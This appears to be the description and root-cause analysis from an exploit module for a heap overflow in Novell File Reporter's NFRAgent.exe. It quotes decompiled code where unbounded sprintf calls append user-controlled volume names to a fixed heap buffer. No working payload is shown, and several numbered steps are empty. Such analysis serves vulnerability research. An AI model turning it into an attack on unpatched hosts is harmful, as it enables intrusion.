          This module exploits a heap overflow in NFRAgent.exe, a component of Novell
        File Reporter (NFR). The vulnerability occurs when handling requests of name "SRS",
        where NFRAgent.exe fails to generate a response in a secure way, copying user
        controlled data into a fixed-length buffer in the heap without bounds checking.
        This module has been tested against NFR Agent 1.0.4.3 (File Reporter 1.0.2).

2) In this function memory is allocated to store the response which will be build:

3) The SRS record used in this module is handled by:

.text:004082E0 ; int __stdcall SRS_7_4_sub_4082E0(char *xml_message_arg_0, char
*result_response_arg_4)

4) The handling function allow to overflow the heap buffer when a big number of VOL elements are processed:

    for ( vol_object_var_254 = v25; vol_object_var_254; vol_object_var_254 = *(_DWORD
*)(vol_object_var_254 + 12) )
    {
      parse_tag_sub_40A760((void *)v15, *(const char **)vol_object_var_254, (int)"VOL",
&vol_name_var_20c, 0x1F4u); // get VOL element
      volume_fspace_vol_35C = handle_volume_sub_4081E0(&vol_name_var_20c); // Retrieve Volume
Free Space
      volume_fscape_var_358 = v2;
vol_name_html_encode_var_494 = html_encode_sub_40B490(&vol_name_var_20c); // HTML Encode
the volume name (user controlled data)
      if ( vol_name_html_encode_var_494 )
{ // If the volume name has been HTML Encoded
        v3 = volume_fscape_var_358;
v4 = volume_fspace_vol_35C;
v5 = vol_name_html_encode_var_494;
v6 = strlen(result_response_arg_4);
sprintf(&result_response_arg_4[v6], "<VOL><NAME>%s</NAME><FSPACE>%I64d</FSPACE></VOL>",
v5, v4, v3); // Vulnerability!!! sprintf user controlled data (volume name) to the end of the
fix-length buffer in the heap without bound checking
        free(vol_name_html_encode_var_494);
        vol_name_html_encode_var_494 = 0;
      }
else
{ // If the volume name hasn’t been HTML Encoded
        v7 = volume_fscape_var_358;
v8 = volume_fspace_vol_35C;
v9 = strlen(result_response_arg_4);
sprintf(
          &result_response_arg_4[v9], // Vulnerability!!! sprintf user controlled data (volume
name) to the end of the fix-length buffer in the heap without bound checking
          "<VOL><NAME>%s</NAME><FSPACE>%I64d</FSPACE></VOL>",
&vol_name_var_20c,
v8,
v7);
      }
    }

The results for every volume (VOL element) are attached to the fixed-length heap buffer via the sprintf at 004085C5:

After the loop handling VOL overflows the heap buffer and both heap chunk metadata and contents are
overwritten for the chunk just after the vulnerable one:
